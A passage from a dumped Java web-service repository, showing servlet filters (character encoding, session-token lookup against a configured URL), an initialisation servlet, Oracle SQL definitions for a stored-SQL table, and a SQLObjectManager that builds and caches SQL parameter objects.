{\n\t\t\t\t\t\t\thandler.process(map, true, null, out, list,\n\t\t\t\t\t\t\t\t\tresults, dataConverter);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\thandler.process(map, false, input, out, null,\n\t\t\t\t\t\t\t\t\tresults, dataConverter);\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tthrow new Exception(\"服务器还不支持此方法，请联系开发人员或等待插件完全安装!\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tresults.put(StringConsts.ResultType, StringConsts.Success);\n\t\t\t\tresults.put(StringConsts.ResultDesc, \"\");\n\t\t\t} catch (Exception e) {\n\t\t\t\tresults.put(StringConsts.ResultType, StringConsts.Error);\n\t\t\t\tresults.put(StringConsts.ResultDesc, e.getClass().getName()\n\t\t\t\t\t\t+ \" \\n\" + e.getMessage());\n\t\t\t}\n\n\t\t\t// 输出结果\n\t\t\tif (dataConverter != null) {\n\t\t\t\tif (results.get(\"result\") == null) {\n\t\t\t\t\t// 如果不为空， 表示内部已处理了输出流\n\t\t\t\t\tObject resultobj = dataConverter.serializeObject(results);\n\t\t\t\t\tdataConverter.writeToOutputStream(resultobj, out);\n\t\t\t\t}\n\t\t\t}\n\t\t} finally {\n\t\t\tout.close();\n\t\t\tinput.close();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/servlet/EncodingFilter.java",
    "content": "package com.techsoft.servlet;\n\nimport java.io.IOException;\n\nimport javax.servlet.Filter;\nimport javax.servlet.FilterChain;\nimport javax.servlet.FilterConfig;\nimport javax.servlet.ServletException;\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\n\npublic class EncodingFilter implements Filter {\n\tprotected String encoding;\n\tprotected FilterConfig config;\n\n\tpublic FilterConfig getConfig() {\n\t\treturn config;\n\t}\n\n\tpublic void setConfig(FilterConfig config) {\n\t\tthis.config = config;\n\t}\n\n\t@Override\n\tpublic void destroy() {\n\t\tconfig = null;\n\t}\n\n\t@Override\n\tpublic void doFilter(ServletRequest request, ServletResponse response,\n\t\t\tFilterChain chain) throws IOException, ServletException {\n\t\tif (encoding != null) {\n\t\t\trequest.setCharacterEncoding(encoding);\n\t\t}\n\n\t\tif (encoding != null) {\n\t\t\tresponse.setCharacterEncoding(encoding);\n\t\t\tresponse.setContentType(\"text/html;charset=\" + encoding);\n\t\t}\n\n\t\tchain.doFilter(request, response);\n\t}\n\n\t@Override\n\tpublic void init(FilterConfig filterConfig) throws ServletException {\n\t\tthis.encoding = filterConfig.getInitParameter(\"encoding\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/servlet/InitWebServlet.java",
    "content": "﻿package com.techsoft.servlet;\n\nimport java.io.File;\n\nimport javax.servlet.ServletConfig;\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\n\nimport org.apache.log4j.xml.DOMConfigurator;\n\nimport com.techsoft.container.DataServer;\n\npublic class InitWebServlet extends HttpServlet {\n\tprivate static final long serialVersionUID = -2244907179466739916L;\n\n\tpublic InitWebServlet() {\n\t\tsuper();\n\t}\n\n\tpublic void init(ServletConfig config) throws ServletException {\n\t\tsuper.init(config);\n\t\tString webpath = config.getServletContext().getRealPath(\"/\");\n\t\t// 设定日志路径\n\t\tString Logpath = webpath + \"logs\";\n\t\tSystem.setProperty(\"logsdir\", Logpath);\n\t\tDOMConfigurator.configure(webpath + \"WEB-INF\" + File.separator + \"lib\"\n\t\t\t\t+ File.separator + \"log4j.xml\");\n\t\ttry {\n\t\t\tnew DataServer(new File(webpath)).start();\n\t\t} catch (Exception e) {\n\t\t\t// 服务器在启动时出错要手动停止服务器， 配置正常后再启动\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/servlet/SessionFilter.java",
    "content": "package com.techsoft.servlet;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.net.URLDecoder;\n\nimport javax.servlet.Filter;\nimport javax.servlet.FilterChain;\nimport javax.servlet.FilterConfig;\nimport javax.servlet.ServletException;\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\nimport javax.servlet.http.Cookie;\nimport javax.servlet.http.HttpServletRequest;\n\nimport org.apache.commons.httpclient.HttpClient;\nimport org.apache.commons.httpclient.HttpException;\nimport org.apache.commons.httpclient.HttpMethod;\nimport org.apache.commons.httpclient.methods.PostMethod;\n\nimport com.alibaba.fastjson.JSONObject;\nimport com.techsoft.StringConsts;\nimport com.techsoft.container.DataServer;\n\npublic class SessionFilter implements Filter {\n\t@Override\n\tpublic void destroy() {\n\n\t}\n\n\t@Override\n\tpublic void doFilter(ServletRequest request, ServletResponse response,\n\t\t\tFilterChain chain) throws IOException, ServletException {\n\t\tHttpServletRequest req = (HttpServletRequest) request;\n\n\t\tConfigProperties configProp = DataServer.getInstance().getProperties();\n        \n\t\tString gOperUserId=configProp.getGOperUserId();\n\t\t\n\t\tif(gOperUserId!=null && !\"\".equals(gOperUserId)){\n\t\t\trequest.setAttribute(\"g_user_id\", new Long(gOperUserId));\n\t\t}else{\t\t\n\t\t\tCookie[] cookies = req.getCookies();\n\t\t\tString url = null;\n\t\t\tif (cookies != null) {\n\t\t\t\tfor (final Cookie oItem : cookies) {\n\t\t\t\t\tfinal String sName = oItem.getName();\n\t\t\t\t\tif (sName.equalsIgnoreCase(\"authToken\")) {\n\t\t\t\t\t\turl = DataServer.getInstance().getProperties()\n\t\t\t\t\t\t\t\t.getSessionURL();\n\t\t\t\t\t\tif ((url != null) && (!url.equalsIgnoreCase(\"\"))) {\n\t\t\t\t\t\t\turl = url + \"?authToken=\" + oItem.getValue();\n\t\t\t\t\t\t\tHttpClient client = new HttpClient();\n\t\t\t\t\t\t\tJSONObject result = null;\n\t\t\t\t\t\t\tHttpMethod httpGet = new PostMethod(url);\n\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\tclient.executeMethod(httpGet);\n\t\t\t\t\t\t\t\tif ((httpGet.getStatusLine() != null)\n\t\t\t\t\t\t\t\t\t\t&& (httpGet.getStatusLine().getStatusCode() == 200)) {\n\t\t\t\t\t\t\t\t\tBufferedReader tBufferedReader = new BufferedReader(\n\t\t\t\t\t\t\t\t\t\t\tnew InputStreamReader(httpGet\n\t\t\t\t\t\t\t\t\t\t\t\t\t.getResponseBodyAsStream()));\n\t\t\t\t\t\t\t\t\tStringBuffer tStringBuffer = new StringBuffer();\n\t\t\t\t\t\t\t\t\tString sTempOneLine = \"\";\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\twhile ((sTempOneLine = tBufferedReader\n\t\t\t\t\t\t\t\t\t\t\t\t.readLine()) != null) {\n\t\t\t\t\t\t\t\t\t\t\ttStringBuffer.append(sTempOneLine);\n\t\t\t\t\t\t\t\t\t\t}\n\t\n\t\t\t\t\t\t\t\t\t\tString s = URLDecoder\n\t\t\t\t\t\t\t\t\t\t\t\t.decode(tStringBuffer.toString(),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tSystem.getProperty(StringConsts.jvmcharset));\n\t\t\t\t\t\t\t\t\t\tresult = JSONObject.parseObject(s);\n\t\n\t\t\t\t\t\t\t\t\t\tJSONObject json = result\n\t\t\t\t\t\t\t\t\t\t\t\t.getJSONObject(\"valueObject\");\n\t\t\t\t\t\t\t\t\t\tif (json != null) {\n\t\t\t\t\t\t\t\t\t\t\tString temp = json\n\t\t\t\t\t\t\t\t\t\t\t\t\t.getString(\"userInfo\");\n\t\t\t\t\t\t\t\t\t\t\ttemp = temp.replace(\"\\\\\\\"\", \"\\\"\");\n\t\t\t\t\t\t\t\t\t\t\tjson = (JSONObject) JSONObject\n\t\t\t\t\t\t\t\t\t\t\t\t\t.parse(temp);\n\t\t\t\t\t\t\t\t\t\t\t// json =\n\t\t\t\t\t\t\t\t\t\t\t// json.getJSONObject(\"userInfo\");\n\t\t\t\t\t\t\t\t\t\t\tif (json != null) {\n\t\t\t\t\t\t\t\t\t\t\t\tjson = json.getJSONObject(\"user\");\n\t\t\t\t\t\t\t\t\t\t\t\tif (json != null) {\n\t\t\t\t\t\t\t\t\t\t\t\t\tLong user_id = Long\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t.valueOf(json\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t.getString(\"fOperUserId\"));\n\t\t\t\t\t\t\t\t\t\t\t\t\trequest.setAttribute(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"g_user_id\", user_id);\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\n\t\t\t\t\t\t\t\t\t} catch (IOException e) {\n\t\t\t\t\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} catch (HttpException e) {\n\t\t\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t\t\t} catch (IOException e) {\n\t\t\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tchain.doFilter(request, response);\n\t}\n\n\t@Override\n\tpublic void init(FilterConfig arg0) throws ServletException {\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/sql/OracleSql.java",
    "content": "package com.techsoft.sql;\n\npublic class OracleSql {\n\t\n\tpublic static final String SELECT_ALL_SQL = \"SELECT SQLID, \\n\"\n\t\t\t\t\t\t\t\t\t\t\t\t+ \"OID, \\n\"\n\t\t\t\t\t\t\t\t\t\t\t\t+ \"PID, \\n\"\n\t\t\t\t\t\t\t\t\t\t\t\t+ \"MID, \\n\"\n                                                + \"OBJ_VERSION, \\n\" \n                                                + \"SQLNAME, \\n\" \n                                                + \"SQLDESC, \\n\" \n                                                + \"DEF_SELECT_SQL, \\n\"\n                                                + \"DEF_SELECT_PARAMS, \\n\" \n                                                + \"DEF_SELECT_METADATA, \\n\"\n                                                + \"DEF_INSERT_SQL, \\n\" \n                                                + \"DEF_INSERT_PARAMS, \\n\"\n                                                + \"DEF_UPDATE_SQL, \\n\" \n                                                + \"DEF_UPDATE_PARAMS, \\n\"\n                                                + \"DEF_DELETE_SQL, \\n\" \n                                                + \"DEF_DELETE_PARAMS, \\n\" \n                                                + \"SELECT_SQL, \\n\"\n                                                + \"INSERT_SQL, \\n\" \n                                                + \"UPDATE_SQL, \\n\" \n                                                + \"DELETE_SQL, \\n\"\n                                             \t+ \"SQL_OPTIONS,  \\n\" \n                                                + \"TABLENAME, \\n\"\n                                             \t+ \"KEYFIELD \\n\"\n                                             \t+ \"FROM TB_SM_SQLDEFINE \";\n\n\tpublic static final String SELECT_SQL =  \"SELECT SQLID, \\n\"\n\t\t                                     + \"OID, \\n\"\n\t\t\t                                 + \"PID, \\n\"\n\t\t\t                                 + \"MID, \\n\"\n                                             + \"OBJ_VERSION, \\n\" \n                                             + \"SQLNAME, \\n\" \n                                             + \"SQLDESC, \\n\" \n                                             + \"DEF_SELECT_SQL, \\n\"\n                                             + \"DEF_SELECT_PARAMS, \\n\" \n                                             + \"DEF_SELECT_METADATA, \\n\"\n                                             + \"DEF_INSERT_SQL, \\n\" \n                                             + \"DEF_INSERT_PARAMS, \\n\"\n                                             + \"DEF_UPDATE_SQL, \\n\" \n                                             + \"DEF_UPDATE_PARAMS, \\n\"\n                                             + \"DEF_DELETE_SQL, \\n\" \n                                             + \"DEF_DELETE_PARAMS, \\n\" \n                                             + \"SELECT_SQL, \\n\"\n                                             + \"INSERT_SQL, \\n\" \n                                             + \"UPDATE_SQL, \\n\" \n                                             + \"DELETE_SQL, \\n\"\n         \t                                 + \"SQL_OPTIONS,  \\n\" \n                                             + \"TABLENAME, \\n\" \n                                             + \"KEYFIELD \\n\"\n         \t                                 + \"FROM TB_SM_SQLDEFINE \"\n\t\t                                \t + \"WHERE SQLID = ?\";\n\n\tpublic static final String INSERT_SQL = \"declare \\n\"\n                                            + \"  rec number; \\n\"\n                                            + \"begin \\n\"\n                                            + \"  select count(*) into rec from tb_sm_sqldefine t where t.sqlid = ?; \\n\"\n                                            + \"  if (rec <= 0) then \\n\"\n                                            + \"    insert into tb_sm_sqldefine t \\n\"\n                                            + \"      (t.oid, \\n\"\n                                            + \"       T.SQLID, \\n\"\n                                            + \"       T.OBJ_VERSION, \\n\"\n                                            + \"       T.SQLNAME, \\n\"\n                                            + \"       T.DEF_SELECT_SQL, \\n\"\n                                            + \"       T.DEF_SELECT_PARAMS, \\n\"\n                                            + \"       T.DEF_SELECT_METADATA, \\n\"\n                                            + \"       T.DEF_INSERT_SQL, \\n\"\n                                            + \"       T.DEF_INSERT_PARAMS, \\n\"\n                                            + \"       T.DEF_UPDATE_SQL, \\n\"\n                                            + \"       T.DEF_UPDATE_PARAMS, \\n\"\n                                            + \"       T.DEF_DELETE_SQL, \\n\"\n                                            + \"       T.DEF_DELETE_PARAMS, \\n\"\n                                            + \"       T.SELECT_SQL, \\n\"\n                                            + \"       T.INSERT_SQL, \\n\"\n                                            + \"       T.UPDATE_SQL, \\n\"\n                                            + \"       T.DELETE_SQL, \\n\"\n                                            + \"       T.SQL_OPTIONS, \\n\"\n                                            + \"       T.TABLENAME, \\n\"\n                                            + \"       T.KEYFIELD)\"\n                                            + \"    values \\n\"\n                                            + \"      (to_char(sysdate, 'yyyy-MM-dd-hh24-mi-ss-ssssssssss'), \\n\"\n                                            + \"       ?, \\n\"\n                                            + \"       1, \\n\"\n                                            + \"       ?, \\n\"\n                                            + \"       ?, \\n\"\n                                            + \"       ?, \\n\"\n                                            + \"       ?, \\n\"\n                                            + \"       ?, \\n\"\n                                            + \"       ?, \\n\"\n                                            + \"       ?, \\n\"\n                                            + \"       ?, \\n\"\n                                            + \"       ?, \\n\"\n                                            + \"       ?, \\n\"\n                                            + \"       ?, \\n\"\n                                            + \"       ?, \\n\"\n                                            + \"       ?, \\n\"\n                                            + \"       ?, \\n\"\n                                            + \"       ?, \\n\"\n                                            + \"       ?, \\n\"\n                                            + \"       ?); \\n\"\n                                            + \"  else \\n\"\n                                            + \"    update tb_sm_sqldefine t \\n\"\n                                            + \"       set T.OBJ_VERSION         = T.OBJ_VERSION + 1, \\n\"\n                                            + \"           T.SQLNAME             = ?, \\n\"\n                                            + \"           T.DEF_SELECT_SQL      = ?, \\n\"\n                                            + \"           T.DEF_SELECT_PARAMS   = ?, \\n\"\n                                            + \"           T.DEF_SELECT_METADATA = ?, \\n\"\n                                            + \"           T.DEF_INSERT_SQL      = ?, \\n\"\n                                            + \"           T.DEF_INSERT_PARAMS   = ?, \\n\"\n                                            + \"           T.DEF_UPDATE_SQL      = ?, \\n\"\n                                            + \"           T.DEF_UPDATE_PARAMS   = ?, \\n\"\n                                            + \"           T.DEF_DELETE_SQL      = ?, \\n\"\n                                            + \"           T.DEF_DELETE_PARAMS   = ?, \\n\"\n                                            + \"           T.SELECT_SQL          = ?, \\n\"\n                                            + \"           T.INSERT_SQL          = ?, \\n\"\n                                            + \"           T.UPDATE_SQL          = ?, \\n\"\n                                            + \"           T.DELETE_SQL          = ?, \\n\"\n                                            + \"           T.SQL_OPTIONS         = ?, \\n\"\n                                            + \"           T.TABLENAME           = ?, \\n\"\n                                            + \"           T.KEYFIELD            = ? \\n\"\n                                            + \"     where t.sqlid = ?; \\n\"\n                                            + \"  end if; \\n\"\n                                            + \"end; \\n\";\n\n\tpublic static final String DELETE_SQL = \"\";\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/sql/SQLObjectManager.java",
    "content": "package com.techsoft.sql;\n\nimport java.io.File;\nimport java.sql.Connection;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReadWriteLock;\nimport java.util.concurrent.locks.ReentrantReadWriteLock;\n\nimport oracle.jdbc.OracleTypes;\n\nimport com.techsoft.Cache;\nimport com.techsoft.ConnectionPool;\nimport com.techsoft.DataExecutor;\nimport com.techsoft.MetaData;\nimport com.techsoft.SQLObject;\nimport com.techsoft.SQLParam;\nimport com.techsoft.TechException;\nimport com.techsoft.cache.CacheFactory;\nimport com.techsoft.container.DataServer;\nimport com.techsoft.executor.DataExecutorFactory;\n\npublic class SQLObjectManager {\n\tprivate static SQLObjectManager instance;\n\tprivate static String sqlCacheName = \"1000\";\n\tprivate Cache<String, SQLObject> orasqlcache;\n\tprivate ReadWriteLock lock = null;\n\tprivate Lock readLock = null;\n\tprivate Lock writeLock = null;\n\tprivate SQLObject oraclesql = null;\n\n\tprivate void buildOracleSQLObject() {\n\t\toraclesql.setSelectSql(OracleSql.SELECT_ALL_SQL);\n\t\toraclesql.setInsertSql(OracleSql.INSERT_SQL);\n\t\toraclesql.setDeleteSql(OracleSql.DELETE_SQL);\n\n\t\tSQLParam SQLID = new SQLParam();\n\t\tSQLID.setDtype(\"12\");\n\t\tSQLID.setDtypename(\"VARCHAR\");\n\t\tSQLID.setIndex(\"1,2,37\");\n\t\tSQLID.setIotype(SQLParam.ParamType.in.name());\n\t\tSQLID.setName(\"SQLID\");\n\t\t// SQLID.buildPositions();\n\t\toraclesql.getInsertParams().add(SQLID);\n\n\t\tSQLParam SQLNAME = new SQLParam();\n\t\tSQLNAME.setDtype(\"12\");\n\t\tSQLNAME.setDtypename(\"VARCHAR\");\n\t\tSQLNAME.setIndex(\"3,20\");\n\t\tSQLNAME.setIotype(SQLParam.ParamType.in.name());\n\t\tSQLNAME.setName(\"SQLNAME\");\n\t\t// SQLNAME.buildPositions();\n\t\toraclesql.getInsertParams().add(SQLNAME);\n\n\t\tSQLParam DEF_SELECT_SQL = new SQLParam();\n\t\tDEF_SELECT_SQL.setDtype(\"2005\");\n\t\tDEF_SELECT_SQL.setDtypename(\"CLOB\");\n\t\tDEF_SELECT_SQL.setIndex(\"4,21\");\n\t\tDEF_SELECT_SQL.setIotype(SQLParam.ParamType.in.name());\n\t\tDEF_SELECT_SQL.setName(\"DEF_SELECT_SQL\");\n\t\t// DEF_SELECT_SQL.buildPositions();\n\t\toraclesql.getInsertParams().add(DEF_SELECT_SQL);\n\n\t\tSQLParam DEF_SELECT_PARAMS = new SQLParam();\n\t\tDEF_SELECT_PARAMS.setDtype(\"2005\");\n\t\tDEF_SELECT_PARAMS.setDtypename(\"CLOB\");\n\t\tDEF_SELECT_PARAMS.setIndex(\"5,22\");\n\t\tDEF_SELECT_PARAMS.setIotype(SQLParam.ParamType.in.name());\n\t\tDEF_SELECT_PARAMS.setName(\"DEF_SELECT_PARAMS\");\n\t\t// DEF_SELECT_PARAMS.buildPositions();\n\t\toraclesql.getInsertParams().add(DEF_SELECT_PARAMS);\n\n\t\tSQLParam DEF_SELECT_METADATA = new SQLParam();\n\t\tDEF_SELECT_METADATA.setDtype(\"2005\");\n\t\tDEF_SELECT_METADATA.setDtypename(\"CLOB\");\n\t\tDEF_SELECT_METADATA.setIndex(\"6,23\");\n\t\tDEF_SELECT_METADATA.setIotype(SQLParam.ParamType.in.name());\n\t\tDEF_SELECT_METADATA.setName(\"DEF_SELECT_METADATA\");\n\t\t// DEF_SELECT_METADATA.buildPositions();\n\t\toraclesql.getInsertParams().add(DEF_SELECT_METADATA);\n\n\t\tSQLParam DEF_INSERT_SQL = new SQLParam();\n\t\tDEF_INSERT_SQL.setDtype(\"2005\");\n\t\tDEF_INSERT_SQL.setDtypename(\"CLOB\");\n\t\tDEF_INSERT_SQL.setIndex(\"7,24\");\n\t\tDEF_INSERT_SQL.setIotype(SQLParam.ParamType.in.name());\n\t\tDEF_INSERT_SQL.setName(\"DEF_INSERT_SQL\");\n\t\t// DEF_INSERT_SQL.buildPositions();\n\t\toraclesql.getInsertParams().add(DEF_INSERT_SQL);\n\n\t\tSQLParam DEF_INSERT_PARAMS = new SQLParam();\n\t\tDEF_INSERT_PARAMS.setDtype(\"2005\");\n\t\tDEF_INSERT_PARAMS.setDtypename(\"CLOB\");\n\t\tDEF_INSERT_PARAMS.setIndex(\"8,25\");\n\t\tDEF_INSERT_PARAMS.setIotype(SQLParam.ParamType.in.name());\n\t\tDEF_INSERT_PARAMS.setName(\"DEF_INSERT_PARAMS\");\n\t\t// DEF_INSERT_PARAMS.buildPositions();\n\t\toraclesql.getInsertParams().add(DEF_INSERT_PARAMS);\n\n\t\tSQLParam DEF_UPDATE_SQL = new SQLParam();\n\t\tDEF_UPDATE_SQL.setDtype(\"2005\");\n\t\tDEF_UPDATE_SQL.setDtypename(\"CLOB\");\n\t\tDEF_UPDATE_SQL.setIndex(\"9,26\");\n\t\tDEF_UPDATE_SQL.setIotype(SQLParam.ParamType.in.name());\n\t\tDEF_UPDATE_SQL.setName(\"DEF_UPDATE_SQL\");\n\t\t// DEF_UPDATE_SQL.buildPositions();\n\t\toraclesql.getInsertParams().add(DEF_UPDATE_SQL);\n\n\t\tSQLParam DEF_UPDATE_PARAMS = new SQLParam();\n\t\tDEF_UPDATE_PARAMS.setDtype(\"2005\");\n\t\tDEF_UPDATE_PARAMS.setDtypename(\"CLOB\");\n\t\tDEF_UPDATE_PARAMS.setIndex(\"10,27\");\n\t\tDEF_UPDATE_PARAMS.setIotype(SQLParam.ParamType.in.name());\n\t\tDEF_UPDATE_PARAMS.setName(\"DEF_UPDATE_PARAMS\");\n\t\t// DEF_UPDATE_PARAMS.buildPositions();\n\t\toraclesql.getInsertParams().add(DEF_UPDATE_PARAMS);\n\n\t\tSQLParam DEF_DELETE_SQL = new SQLParam();\n\t\tDEF_DELETE_SQL.setDtype(\"2005\");\n\t\tDEF_DELETE_SQL.setDtypename(\"CLOB\");\n\t\tDEF_DELETE_SQL.setIndex(\"11,28\");\n\t\tDEF_DELETE_SQL.setIotype(SQLParam.ParamType.in.name());\n\t\tDEF_DELETE_SQL.setName(\"DEF_DELETE_SQL\");\n\t\t// DEF_DELETE_SQL.buildPositions();\n\t\toraclesql.getInsertParams().add(DEF_DELETE_SQL);\n\n\t\tSQLParam DEF_DELETE_PARAMS = new SQLParam();\n\t\tDEF_DELETE_PARAMS.setDtype(\"2005\");\n\t\tDEF_DELETE_PARAMS.setDtypename(\"CLOB\");\n\t\tDEF_DELETE_PARAMS.setIndex(\"12,29\");\n\t\tDEF_DELETE_PARAMS.setIotype(SQLParam.ParamType.in.name());\n\t\tDEF_DELETE_PARAMS.setName(\"DEF_DELETE_PARAMS\");\n\t\t// DEF_DELETE_PARAMS.buildPositions();\n\t\toraclesql.getInsertParams().add(DEF_DELETE_PARAMS);\n\n\t\tSQLParam SELECT_SQL = new SQLParam();\n\t\tSELECT_SQL.setDtype(\"2005\");\n\t\tSELECT_SQL.setDtypename(\"CLOB\");\n\t\tSELECT_SQL.setIndex(\"13,30\");\n\t\tSELECT_SQL.setIotype(SQLParam.ParamType.in.name());\n\t\tSELECT_SQL.setName(\"SELECT_SQL\");\n\t\t// SELECT_SQL.buildPositions();\n\t\toraclesql.getInsertParams().add(SELECT_SQL);\n\n\t\tSQLParam INSERT_SQL = new SQLParam();\n\t\tINSERT_SQL.setDtype(\"2005\");\n\t\tINSERT_SQL.setDtypename(\"CLOB\");\n\t\tINSERT_SQL.setIndex(\"14,31\");\n\t\tINSERT_SQL.setIotype(SQLParam.ParamType.in.name());\n\t\tINSERT_SQL.setName(\"INSERT_SQL\");\n\t\t// INSERT_SQL.buildPositions();\n\t\toraclesql.getInsertParams().add(INSERT_SQL);\n\n\t\tSQLParam UPDATE_SQL = new SQLParam();\n\t\tUPDATE_SQL.setDtype(\"2005\");\n\t\tUPDATE_SQL.setDtypename(\"CLOB\");\n\t\tUPDATE_SQL.setIndex(\"15,32\");\n\t\tUPDATE_SQL.setIotype(SQLParam.ParamType.in.name());\n\t\tUPDATE_SQL.setName(\"UPDATE_SQL\");\n\t\t// UPDATE_SQL.buildPositions();\n\t\toraclesql.getInsertParams().add(UPDATE_SQL);\n\n\t\tSQLParam DELETE_SQL = new SQLParam();\n\t\tDELETE_SQL.setDtype(\"2005\");\n\t\tDELETE_SQL.setDtypename(\"CLOB\");\n\t\tDELETE_SQL.setIndex(\"16,33\");\n\t\tDELETE_SQL.setIotype(SQLParam.ParamType.in.name());\n\t\tDELETE_SQL.setName(\"DELETE_SQL\");\n\t\t// DELETE_SQL.buildPositions();\n\t\toraclesql.getInsertParams().add(DELETE_SQL);\n\n\t\tSQLParam SQL_OPTIONS = new SQLParam();\n\t\tSQL_OPTIONS.setDtype(\"2\");\n\t\tSQL_OPTIONS.setDtypename(\"NUMBER\");\n\t\tSQL_OPTIONS.setIndex(\"17,34\");\n\t\tSQL_OPTIONS.setIotype(SQLParam.ParamType.in.name());\n\t\tSQL_OPTIONS.setName(\"SQL_OPTIONS\");\n\t\t// SQL_OPTIONS.buildPositions();\n\t\toraclesql.getInsertParams().add(SQL_OPTIONS);\n\n\t\tSQLParam TABLENAME = new SQLParam();\n\t\tTABLENAME.setDtype(\"12\");\n\t\tTABLENAME.setDtypename(\"VARCHAR2\");\n\t\tTABLENAME.setIndex(\"18,35\");\n\t\tTABLENAME.setIotype(SQLParam.ParamType.in.name());\n\t\tTABLENAME.setName(\"TABLENAME\");\n\t\t// TABLENAME.buildPositions();\n\t\toraclesql.getInsertParams().add(TABLENAME);\n\n\t\tSQLParam keyField = new SQLParam();\n\t\tkeyField.setDtype(\"12\");\n\t\tkeyField.setDtypename(\"VARCHAR2\");\n\t\tkeyField.setIndex(\"19,36\");\n\t\tkeyField.setIotype(SQLParam.ParamType.in.name());\n\t\tkeyField.setName(\"KEYFIELD\");\n\t\t// keyField.buildPositions();\n\t\toraclesql.getInsertParams().add(keyField);\n\t}\n\n\tprivate SQLObjectManager() {\n\t\torasqlcache = CacheFactory.getCache(sqlCacheName);\n\t\tlock = new ReentrantReadWriteLock();\n\t\treadLock = lock.readLock();\n\t\twriteLock = lock.writeLock();\n\t\toraclesql = new SQLObject();\n\t\tbuildOracleSQLObject();\n\t}\n\n\tpublic SQLObject getSQLObject(ConnectionPool.DatabaseType databasetype) {\n\t\tSQLObject result = null;\n\t\tswitch (databasetype) {\n\t\tcase ORACLE: {\n\t\t\tresult = oraclesql;\n\t\t\tbreak;\n\t\t}\n\t\tcase MYSQL: {\n\t\t\tbreak;\n\t\t}\n\t\tcase SQLSERVER: {\n\t\t\tbreak;\n\t\t}\n\t\tcase DB2: {\n\t\t\tbreak;\n\t\t}\n\t\t}\n\t\treturn result;\n\t}\n\n\tpublic static SQLObjectManager getInstance() {\n\t\tif (instance == null) {\n\t\t\tinstance = new SQLObjectManager();\n\t\t}\n\n\t\treturn instance;\n\t}\n\n\tprivate SQLObject getSQlObjectByMap(Map<String, Object> data) {\n\t\tSQLObject result = new SQLObject();\n\t\tresult.setSqlId((String) data.get(\"oid\"));\n\t\tresult.setPid((String) data.get(\"pid\"));\n\t\tresult.setMid((String) data.get(\"mid\"));\n\t\tresult.setSqlId((String) data.get(\"sqlid\"));\n\t\tif(data.get(\"sql_options\") instanceof Long){\n\t\t\tresult.setSqlOptions((Long) data.get(\"sql_options\"));\n\t\t}else if(data.get(\"sql_options\") instanceof String){\n\t\t\tresult.setSqlOptions(Long.valueOf((String)data.get(\"sql_options\")) );\n\t\t}\n\t\tresult.setSqlName((String) data.get(\"sqlname\"));\n\t\tresult.setTableName((String) data.get(\"tablename\"));\n\t\tresult.setSqlDesc((String) data.get(\"sqldesc\"));\n\t\tresult.setDefSelectSql((String) data.get(\"def_select_sql\"));\n\t\tresult.setDefselectparams((String) data.get(\"def_select_params\"));\n\t\tresult.setDefselectmetadata((String) data.get(\"def_select_metadata\"));\n\t\tresult.setDefInsertSql((String) data.get(\"def_insert_sql\"));\n\t\tresult.setDefinsertparams((String) data.get(\"def_insert_params\"));\n\t\tresult.setDefUpdateSql((String) data.get(\"def_update_sql\"));\n\t\tresult.setDefupdateparams((String) data.get(\"def_update_params\"));\n\t\tresult.setDefDeleteSql((String) data.get(\"def_delete_sql\"));\n\t\tresult.setDefdeleteparams((String) data.get(\"def_delete_params\"));\n\t\tresult.setSelectSql((String) data.get(\"select_sql\"));\n\t\tresult.setInsertSql((String) data.get(\"insert_sql\"));\n\t\tresult.setUpdateSql((String) data.get(\"update_sql\"));\n\t\tresult.setDeleteSql((String) data.get(\"delete_sql\"));\n\t\tresult.setUpdateDate((Date) data.get(\"update_date\"));\n\t\tif(data.get(\"obj_version\") instanceof Long){\n\t\t\tresult.setObjectVersion((Long) data.get(\"obj_version\"));\n\t\t}else if(data.get(\"obj_version\") instanceof String){\n\t\t\tresult.setObjectVersion(Long.valueOf((Integer)data.get(\"obj_version\")) );\n\t\t}\n\t\tresult.setKeyField((String) data.get(\"keyfield\"));\n\t\tresult.setDefSingleSelectSql((String)data.get(\"def_singleselect_sql\"));\n\t\tresult.setSingleSelectSql((String)data.get(\"singleselect_sql\"));\n\t\tresult.setDefSingleSelectParams((String)data.get(\"def_singleselect_params\"));\n\t\t// result.buildParamAndMeta();\n\t\treturn result;\n\t}\n\n\tpublic SQLObject getSQLObjectByCache(String sqlid) {\n\t\tSQLObject result = null;\n\t\tswitch (DataServer.getInstance().getProperties().getDbtype()) {\n\t\tcase ORACLE: {\n\t\t\tresult = orasqlcache.get(sqlid);\n\t\t\tbreak;\n\t\t}\n\t\tcase MYSQL: 